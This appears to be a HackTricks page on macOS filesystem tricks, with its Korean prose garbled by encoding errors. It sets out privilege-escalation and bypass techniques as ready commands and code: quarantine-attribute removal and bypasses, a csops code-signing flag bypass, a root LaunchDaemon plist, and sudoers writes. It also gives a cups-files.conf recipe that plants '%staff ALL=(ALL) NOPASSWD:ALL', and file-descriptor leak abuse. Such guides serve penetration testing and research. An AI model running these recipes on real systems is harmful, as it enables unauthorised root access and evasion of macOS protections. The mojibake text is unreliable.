macOS FS Tricks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
POSIX ๊ถํ ์กฐํฉ
๋๋ ํ ๋ฆฌ์ ๊ถํ:
- ์ฝ๊ธฐ - ๋๋ ํ ๋ฆฌ ํญ๋ชฉ์ ์ด๊ฑฐํ ์ ์์ต๋๋ค.
- ์ฐ๊ธฐ - ๋๋ ํ ๋ฆฌ ๋ด์ ํ์ผ์ ์ญ์ /์์ฑํ ์ ์์ผ๋ฉฐ, ๋น ํด๋๋ฅผ ์ญ์ ํ ์ ์์ต๋๋ค.
- ๊ทธ๋ฌ๋ ์ฐ๊ธฐ ๊ถํ์ด ์์ผ๋ฉด ๋น์ด ์์ง ์์ ํด๋๋ฅผ ์ญ์ /์์ ํ ์ ์์ต๋๋ค.
- ํด๋์ ์ด๋ฆ์ ์์ ํ ์ ์์ต๋๋ค, ์์ ํ์ง ์๋ ํ.
- ์คํ - ๋๋ ํ ๋ฆฌ๋ฅผ ํ์ํ ์ ์์ต๋๋ค - ์ด ๊ถํ์ด ์์ผ๋ฉด ๋ด๋ถ์ ํ์ผ์ด๋ ํ์ ๋๋ ํ ๋ฆฌ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ํํ ์กฐํฉ
๋ฃจํธ๊ฐ ์์ ํ ํ์ผ/ํด๋๋ฅผ ๋ฎ์ด์ฐ๋ ๋ฐฉ๋ฒ, ๊ทธ๋ฌ๋:
- ๊ฒฝ๋ก์ ํ ๋ถ๋ชจ ๋๋ ํ ๋ฆฌ ์์ ์๊ฐ ์ฌ์ฉ์์ ๋๋ค.
- ๊ฒฝ๋ก์ ํ ๋ถ๋ชจ ๋๋ ํ ๋ฆฌ ์์ ์๊ฐ ์ฐ๊ธฐ ๊ถํ์ด ์๋ ์ฌ์ฉ์ ๊ทธ๋ฃน์ ๋๋ค.
- ์ฌ์ฉ์ ๊ทธ๋ฃน์ด ํ์ผ์ ์ฐ๊ธฐ ๊ถํ์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
์ด์ ์กฐํฉ ์ค ํ๋๋ก ๊ณต๊ฒฉ์๋ ํน๊ถ ์์ ์ฐ๊ธฐ๋ฅผ ์ป๊ธฐ ์ํด ์์ ๊ฒฝ๋ก์ ์ฌ๋ณผ๋ฆญ/ํ๋ ๋งํฌ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค.
ํด๋ ๋ฃจํธ R+X ํน๋ณ ์ฌ๋ก
์ค์ง ๋ฃจํธ๋ง R+X ์ ๊ทผ ๊ถํ์ ๊ฐ์ง ๋๋ ํ ๋ฆฌ์ ํ์ผ์ด ์๋ ๊ฒฝ์ฐ, ๊ทธ ํ์ผ์ ๋ค๋ฅธ ๋๊ตฌ๋ ์ ๊ทผํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ ํ์ผ๋ก ์ธํด ์ฌ์ฉ์๊ฐ ์ฝ์ ์ ์๋ ์ฝ๊ธฐ ๊ฐ๋ฅํ ํ์ผ์ ์ด ํด๋์์ ๋ค๋ฅธ ํด๋๋ก ์ด๋ํ ์ ์๋ ์ทจ์ฝ์ ์ด ์ ์ฉ๋์ด ์ด๋ฌํ ํ์ผ์ ์ฝ์ ์ ์์ต๋๋ค.
์ฌ๋ณผ๋ฆญ ๋งํฌ / ํ๋ ๋งํฌ
ํ์ฉ๋ ํ์ผ/ํด๋
ํน๊ถ ํ๋ก์ธ์ค๊ฐ ํ์ ํน๊ถ ์ฌ์ฉ์์ ์ํด ์ ์ด๋ ์ ์๋ ํ์ผ์ ๋ฐ์ดํฐ๋ฅผ ์ฐ๊ณ ์๊ฑฐ๋, ํ์ ํน๊ถ ์ฌ์ฉ์์ ์ํด ์ด์ ์ ์์ฑ๋ ๊ฒฝ์ฐ, ์ฌ์ฉ์๋ ์ฌ๋ณผ๋ฆญ ๋๋ ํ๋ ๋งํฌ๋ฅผ ํตํด ๋ค๋ฅธ ํ์ผ์ ๊ฐ๋ฆฌํฌ ์ ์์ผ๋ฉฐ, ํน๊ถ ํ๋ก์ธ์ค๋ ํด๋น ํ์ผ์ ์ธ ๊ฒ์ ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์์ ์ฐ๊ธฐ๋ฅผ ์ ์ฉํ์ฌ ๊ถํ์ ์์น์ํฌ ์ ์๋ ๋ค๋ฅธ ์น์ ์ ํ์ธํ์ญ์์ค.
Open O_NOFOLLOW
open ํจ์์์ ์ฌ์ฉ๋๋ ํ๋๊ทธ O_NOFOLLOW๋ ๋ง์ง๋ง ๊ฒฝ๋ก ๊ตฌ์ฑ ์์์์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋ฐ๋ฅด์ง ์์ง๋ง, ๋๋จธ์ง ๊ฒฝ๋ก๋ ๋ฐ๋ฆ
๋๋ค. ๊ฒฝ๋ก์์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋ฐ๋ฅด์ง ์๋๋ก ํ๋ ์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ ํ๋๊ทธ O_NOFOLLOW_ANY๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์
๋๋ค.
.fileloc
.fileloc ํ์ฅ์๋ฅผ ๊ฐ์ง ํ์ผ์ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์
์ด๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํฌ ์ ์์ผ๋ฏ๋ก, ์ด๋ฆด ๋ ์ ํ๋ฆฌ์ผ์ด์
/๋ฐ์ด๋๋ฆฌ๊ฐ ์คํ๋ฉ๋๋ค.
์์:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
ํ์ผ ์ค๋ช ์
FD ๋์ (no O_CLOEXEC)
open ํธ์ถ์ O_CLOEXEC ํ๋๊ทธ๊ฐ ์์ผ๋ฉด ํ์ผ ์ค๋ช
์๊ฐ ์์ ํ๋ก์ธ์ค์ ์ํด ์์๋ฉ๋๋ค. ๋ฐ๋ผ์, ํน๊ถ ํ๋ก์ธ์ค๊ฐ ํน๊ถ ํ์ผ์ ์ด๊ณ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋ก์ธ์ค๋ฅผ ์คํํ๋ฉด, ๊ณต๊ฒฉ์๋ ํน๊ถ ํ์ผ์ ๋ํ FD๋ฅผ ์์๋ฐ๊ฒ ๋ฉ๋๋ค.
๋์ ๊ถํ์ผ๋ก ํ์ผ์ด๋ ํด๋๋ฅผ ์ด๋๋ก ํ๋ก์ธ์ค๋ฅผ ๋ง๋ค ์ ์๋ค๋ฉด, **crontab**๋ฅผ ์
์ฉํ์ฌ **EDITOR=exploit.py**๋ก /etc/sudoers.d์ ์๋ ํ์ผ์ ์ด ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด exploit.py๋ /etc/sudoers ๋ด์ ํ์ผ์ ๋ํ FD๋ฅผ ์ป๊ณ ์ด๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด: https://youtu.be/f1HA5QhLQ7Y?t=21098, ์ฝ๋: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
๊ฒฉ๋ฆฌ xattrs ํธ๋ฆญ ํผํ๊ธฐ
์ ๊ฑฐํ๊ธฐ
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable ํ๋๊ทธ
ํ์ผ/ํด๋์ ์ด ๋ถ๋ณ ์์ฑ์ด ์ค์ ๋์ด ์์ผ๋ฉด xattr๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs mount
A devfs mount ๋ xattr๋ฅผ ์ง์ํ์ง ์์ต๋๋ค, ์์ธํ ๋ด์ฉ์ CVE-2023-32364์์ ํ์ธํ์ธ์.
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
์ด ACL์ ํ์ผ์ xattrs๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค.
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble ํ์ผ ํ์์ ACE๋ฅผ ํฌํจํ์ฌ ํ์ผ์ ๋ณต์ฌํฉ๋๋ค.
์์ค ์ฝ๋์์ **com.apple.acl.text**๋ผ๋ xattr์ ์ ์ฅ๋ ACL ํ
์คํธ ํํ์ด ์์ถ ํด์ ๋ ํ์ผ์ ACL๋ก ์ค์ ๋ ๊ฒ์์ ํ์ธํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์, ACL์ด ๋ค๋ฅธ xattrs๊ฐ ์์ฑ๋๋ ๊ฒ์ ๋ฐฉ์งํ๋ ์ ํ๋ฆฌ์ผ์ด์
์ AppleDouble ํ์ผ ํ์์ zip ํ์ผ๋ก ์์ถํ๋ค๋ฉดโฆ ๊ฒฉ๋ฆฌ xattr๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์ค์ ๋์ง ์์์ต๋๋ค:
์์ธํ ์ ๋ณด๋ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
์ด๋ฅผ ๋ณต์ ํ๊ธฐ ์ํด ๋จผ์ ์ฌ๋ฐ๋ฅธ acl ๋ฌธ์์ด์ ๊ฐ์ ธ์์ผ ํฉ๋๋ค:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Note that even if this works the sandbox write the quarantine xattr before)
Not really needed but I leave it there just in case:
์๋ช ๊ฒ์ฌ ์ฐํ
ํ๋ซํผ ๋ฐ์ด๋๋ฆฌ ๊ฒ์ฌ ์ฐํ
์ผ๋ถ ๋ณด์ ๊ฒ์ฌ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ํ๋ซํผ ๋ฐ์ด๋๋ฆฌ์ธ์ง ํ์ธํ์ฌ XPC ์๋น์ค์ ์ฐ๊ฒฐํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ๊ทธ๋ฌ๋ https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/์์ ๋
ธ์ถ๋ ๊ฒ์ฒ๋ผ, /bin/ls์ ๊ฐ์ ํ๋ซํผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฐ์ ธ์ค๊ณ DYLD_INSERT_LIBRARIES ํ๊ฒฝ ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ dyld๋ฅผ ํตํด ์ต์คํ๋ก์์ ์ฃผ์
ํจ์ผ๋ก์จ ์ด ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
ํ๋๊ทธ CS_REQUIRE_LV ๋ฐ CS_FORCED_LV ์ฐํ
์คํ ์ค์ธ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์ ์ ํ๋๊ทธ๋ฅผ ์์ ํ์ฌ ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ก ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
์ฝ๋ ์๋ช ์ฐํ
๋ฒ๋ค์๋ _CodeSignature/CodeResources ํ์ผ์ด ํฌํจ๋์ด ์์ผ๋ฉฐ, ์ด ํ์ผ์๋ ๋ฒ๋ค ๋ด์ ๋ชจ๋ ํ์ผ์ ํด์๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. CodeResources์ ํด์๋ ์คํ ํ์ผ์๋ ๋ด์ฅ๋์ด ์์ผ๋ฏ๋ก, ๊ทธ๊ฒ์ ๊ฑด๋๋ฆด ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์๋ช ์ด ํ์ธ๋์ง ์๋ ์ผ๋ถ ํ์ผ์ด ์์ผ๋ฉฐ, ์ด ํ์ผ๋ค์ plist์์ omit ํค๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค.
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
CLI์์ ๋ฆฌ์์ค์ ์๋ช ์ ๊ณ์ฐํ๋ ๊ฒ์ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋ฅํฉ๋๋ค:
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Mount dmgs
์ฌ์ฉ์๋ ๊ธฐ์กด ํด๋ ์์ ์์ฑ๋ ์ฌ์ฉ์ ์ ์ dmg๋ฅผ ๋ง์ดํธํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ฌ์ฉ์ ์ ์ ์ฝํ ์ธ ๋ก ์ฌ์ฉ์ ์ ์ dmg ํจํค์ง๋ฅผ ์์ฑํ ์ ์์ต๋๋ค:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
๋ณดํต macOS๋ /usr/libexec/diskarbitrationd์์ ์ ๊ณตํ๋ com.apple.DiskArbitrarion.diskarbitrariond Mach ์๋น์ค์ ํต์ ํ์ฌ ๋์คํฌ๋ฅผ ๋ง์ดํธํฉ๋๋ค. LaunchDaemons plist ํ์ผ์ -d ๋งค๊ฐ๋ณ์๋ฅผ ์ถ๊ฐํ๊ณ ์ฌ์์ํ๋ฉด /var/log/diskarbitrationd.log์ ๋ก๊ทธ๋ฅผ ์ ์ฅํฉ๋๋ค.
๊ทธ๋ฌ๋ hdik ๋ฐ hdiutil๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ com.apple.driver.DiskImages kext์ ์ง์ ํต์ ํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
์์ ์ฐ๊ธฐ
์ฃผ๊ธฐ์ ์ธ sh ์คํฌ๋ฆฝํธ
์คํฌ๋ฆฝํธ๊ฐ ์
ธ ์คํฌ๋ฆฝํธ๋ก ํด์๋ ์ ์๋ค๋ฉด, ๋งค์ผ ํธ๋ฆฌ๊ฑฐ๋๋ /etc/periodic/daily/999.local ์
ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
๋ค์๊ณผ ๊ฐ์ด ์ด ์คํฌ๋ฆฝํธ์ ์คํ์ ๊ฐ์ง๋ก ๋ง๋ค ์ ์์ต๋๋ค: sudo periodic daily
๋ฐ๋ชฌ
์์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ plist์ ํจ๊ป **/Library/LaunchDaemons/xyz.hacktricks.privesc.plist**์ ๊ฐ์ ์์์ LaunchDaemon์ ์์ฑํฉ๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.
Sudoers File
If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.
PATH files
The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.
You can also write files in /etc/paths.d to load new folders into the PATH env variable.
cups-files.conf
์ด ๊ธฐ์ ์ ์ด ๊ธ์์ ์ฌ์ฉ๋์์ต๋๋ค.
Create the file /etc/cups/cups-files.conf with the following content:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
์ด๊ฒ์ /etc/sudoers.d/lpe ํ์ผ์ 777 ๊ถํ์ผ๋ก ์์ฑํฉ๋๋ค. ๋์ ์๋ ์ถ๊ฐ ์ฐ๋ ๊ธฐ๋ ์ค๋ฅ ๋ก๊ทธ ์์ฑ์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํ ๊ฒ์
๋๋ค.
๊ทธ๋ฐ ๋ค์, /etc/sudoers.d/lpe์ %staff ALL=(ALL) NOPASSWD:ALL๊ณผ ๊ฐ์ ๊ถํ ์์น์ ํ์ํ ๊ตฌ์ฑ์ ์์ฑํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์, /etc/cups/cups-files.conf ํ์ผ์ ๋ค์ ์์ ํ์ฌ LogFilePerm 700์ ์ง์ ํ์ฌ ์๋ก์ด sudoers ํ์ผ์ด cupsctl์ ํธ์ถํ ๋ ์ ํจํ๊ฒ ๋ง๋ญ๋๋ค.
์๋๋ฐ์ค ํ์ถ
FS ์์ ์ฐ๊ธฐ๋ฅผ ํตํด macOS ์๋๋ฐ์ค๋ฅผ ํ์ถํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ช ๊ฐ์ง ์์๋ macOS Auto Start ํ์ด์ง๋ฅผ ํ์ธํ์ธ์. ๊ทธ๋ฌ๋ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ์ ~/Library/Preferences/com.apple.Terminal.plist์ ํฐ๋ฏธ๋ ํ๊ฒฝ์ค์ ํ์ผ์ ์์ฑํ์ฌ ์์ ์ ๋ช
๋ น์ ์คํํ๊ณ open์ ์ฌ์ฉํ์ฌ ํธ์ถํ๋ ๊ฒ์
๋๋ค.
๋ค๋ฅธ ์ฌ์ฉ์๋ก์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํ์ผ ์์ฑ
์ด๊ฒ์ ๋ด๊ฐ ์ธ ์ ์๋ ๋ฃจํธ ์์ ์ ํ์ผ์ ์์ฑํฉ๋๋ค (์ฌ๊ธฐ์ ์ฝ๋). ์ด๊ฒ์ ๊ถํ ์์น์ผ๋ก๋ ์๋ํ ์ ์์ต๋๋ค:
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX ๊ณต์ ๋ฉ๋ชจ๋ฆฌ
POSIX ๊ณต์ ๋ฉ๋ชจ๋ฆฌ๋ POSIX ํธํ ์ด์ ์ฒด์ ์์ ํ๋ก์ธ์ค๊ฐ ๊ณตํต ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ ๊ทผํ ์ ์๋๋ก ํ์ฌ ๋ค๋ฅธ ํ๋ก์ธ์ค ๊ฐ ํต์ ๋ฐฉ๋ฒ์ ๋นํด ๋ ๋น ๋ฅธ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด๋ shm_open()์ ์ฌ์ฉํ์ฌ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ฑฐ๋ ์ด๊ณ , ftruncate()๋ก ํฌ๊ธฐ๋ฅผ ์ค์ ํ๋ฉฐ, mmap()์ ์ฌ์ฉํ์ฌ ํ๋ก์ธ์ค์ ์ฃผ์ ๊ณต๊ฐ์ ๋งคํํ๋ ๊ณผ์ ์ ํฌํจํฉ๋๋ค. ํ๋ก์ธ์ค๋ ์ด ๋ฉ๋ชจ๋ฆฌ ์์ญ์์ ์ง์ ์ฝ๊ณ ์ธ ์ ์์ต๋๋ค. ๋์ ์ ๊ทผ์ ๊ด๋ฆฌํ๊ณ ๋ฐ์ดํฐ ์์์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ฎคํ
์ค๋ ์ธ๋งํฌ์ด์ ๊ฐ์ ๋๊ธฐํ ๋ฉ์ปค๋์ฆ์ด ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค. ๋ง์ง๋ง์ผ๋ก, ํ๋ก์ธ์ค๋ munmap()๊ณผ close()๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ธ๋งคํํ๊ณ ๋ซ์ผ๋ฉฐ, ์ ํ์ ์ผ๋ก shm_unlink()๋ก ๋ฉ๋ชจ๋ฆฌ ๊ฐ์ฒด๋ฅผ ์ ๊ฑฐํฉ๋๋ค. ์ด ์์คํ
์ ์ฌ๋ฌ ํ๋ก์ธ์ค๊ฐ ๊ณต์ ๋ฐ์ดํฐ์ ๋น ๋ฅด๊ฒ ์ ๊ทผํด์ผ ํ๋ ํ๊ฒฝ์์ ํจ์จ์ ์ด๊ณ ๋น ๋ฅธ IPC๋ฅผ ์ํด ํนํ ํจ๊ณผ์ ์
๋๋ค.
์์ฐ์ ์ฝ๋ ์์
```c // gcc producer.c -o producer -lrt #includeint main() { const char *name = โ/my_shared_memoryโ; const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); if (shm_fd == -1) { perror(โshm_openโ); return EXIT_FAILURE; }
// Configure the size of the shared memory object if (ftruncate(shm_fd, SIZE) == -1) { perror(โftruncateโ); return EXIT_FAILURE; }
// Memory map the shared memory void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); if (ptr == MAP_FAILED) { perror(โmmapโ); return EXIT_FAILURE; }
// Write to the shared memory sprintf(ptr, โHello from Producer!โ);
// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);
return 0; }
</details>
<details>
<summary>์๋น์ ์ฝ๋ ์์ </summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS ๋ณดํธ๋ ์ค๋ช ์
macOS ๋ณดํธ๋ ์ค๋ช ์๋ ์ฌ์ฉ์ ์ ํ๋ฆฌ์ผ์ด์ ์์ ํ์ผ ์ค๋ช ์ ์์ ์ ์์ ์ฑ๊ณผ ์ ๋ขฐ์ฑ์ ํฅ์์ํค๊ธฐ ์ํด macOS์ ๋์ ๋ ๋ณด์ ๊ธฐ๋ฅ์ ๋๋ค. ์ด๋ฌํ ๋ณดํธ๋ ์ค๋ช ์๋ ํ์ผ ์ค๋ช ์์ ํน์ ์ ํ ๋๋ โ๊ฐ๋โ๋ฅผ ์ฐ๊ฒฐํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํ๋ฉฐ, ์ด๋ ์ปค๋์ ์ํด ์ํ๋ฉ๋๋ค.
์ด ๊ธฐ๋ฅ์ ๋ฌด๋จ ํ์ผ ์ ๊ทผ ๋๋ ๊ฒฝ์ ์กฐ๊ฑด๊ณผ ๊ฐ์ ํน์ ๋ณด์ ์ทจ์ฝ์ ์ ๋ฐฉ์งํ๋ ๋ฐ ํนํ ์ ์ฉํฉ๋๋ค. ์ด๋ฌํ ์ทจ์ฝ์ ์ ์๋ฅผ ๋ค์ด, ์ค๋ ๋๊ฐ ํ์ผ ์ค๋ช ์์ ์ ๊ทผํ ๋ ๋ค๋ฅธ ์ทจ์ฝํ ์ค๋ ๋๊ฐ ๊ทธ์ ๋ํ ์ ๊ทผ์ ํ์ฉํ๋ ๊ฒฝ์ฐ ๋๋ ํ์ผ ์ค๋ช ์๊ฐ ์ทจ์ฝํ ์์ ํ๋ก์ธ์ค์ ์ํด ์์๋๋ ๊ฒฝ์ฐ ๋ฐ์ํฉ๋๋ค. ์ด ๊ธฐ๋ฅ๊ณผ ๊ด๋ จ๋ ์ผ๋ถ ํจ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
guarded_open_np: ๊ฐ๋์ ํจ๊ป FD๋ฅผ ์ฝ๋๋คguarded_close_np: ๋ซ์ต๋๋คchange_fdguard_np: ์ค๋ช ์์ ๊ฐ๋ ํ๋๊ทธ๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค (๊ฐ๋ ๋ณดํธ๋ฅผ ์ ๊ฑฐํ๋ ๊ฒ๋ ํฌํจ)
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
